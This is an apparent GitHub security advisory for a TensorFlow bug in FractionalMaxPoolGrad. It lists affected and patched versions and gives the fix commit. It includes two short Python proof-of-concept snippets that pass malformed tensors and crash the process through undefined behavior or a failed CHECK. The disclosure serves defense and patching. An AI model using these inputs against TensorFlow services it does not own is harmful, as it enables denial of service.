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MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXg4aDYteGdxeC1qcWdw

Low CVSS: 2.0 EPSS: 0.00015% (0.018 Percentile) EPSS:

Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`

Affected Packages Affected Versions Fixed Versions
pypi:tensorflow-gpu
PURL: pkg:pypi/tensorflow-gpu
>= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4 2.4.2, 2.3.3, 2.2.3, 2.1.4
155 Dependent packages
11,499 Dependent repositories
78,758 Downloads last month

Affected Version Ranges

All affected versions

0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1

All unaffected versions

2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.12.0

pypi:tensorflow-cpu
PURL: pkg:pypi/tensorflow-cpu
>= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4 2.4.2, 2.3.3, 2.2.3, 2.1.4
88 Dependent packages
2,483 Dependent repositories
909,001 Downloads last month

Affected Version Ranges

All affected versions

1.15.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1

All unaffected versions

2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0, 2.17.1, 2.18.0, 2.18.1, 2.19.0, 2.19.1, 2.20.0

pypi:tensorflow
PURL: pkg:pypi/tensorflow
>= 2.4.0, < 2.4.2, >= 2.3.0, < 2.3.3, >= 2.2.0, < 2.2.3, < 2.1.4 2.4.2, 2.3.3, 2.2.3, 2.1.4
2,172 Dependent packages
73,755 Dependent repositories
21,825,433 Downloads last month

Affected Version Ranges

All affected versions

0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1

All unaffected versions

2.1.4, 2.2.3, 2.3.3, 2.3.4, 2.4.2, 2.4.3, 2.4.4, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1, 2.16.2, 2.17.0, 2.17.1, 2.18.0, 2.18.1, 2.19.0, 2.19.1

Impact

The implementation of tf.raw_ops.FractionalMaxPoolGrad triggers an undefined behavior if one of the input tensors is empty:

import tensorflow as tf

orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64) 
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)

The code is also vulnerable to a denial of service attack as a CHECK condition becomes false and aborts the process

import tensorflow as tf

orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) 
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)

The implementation fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.

Patches

We have patched the issue in GitHub commit 32fdcbff9d06d010d908fcc4bd4b36eb3ce15925.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

References: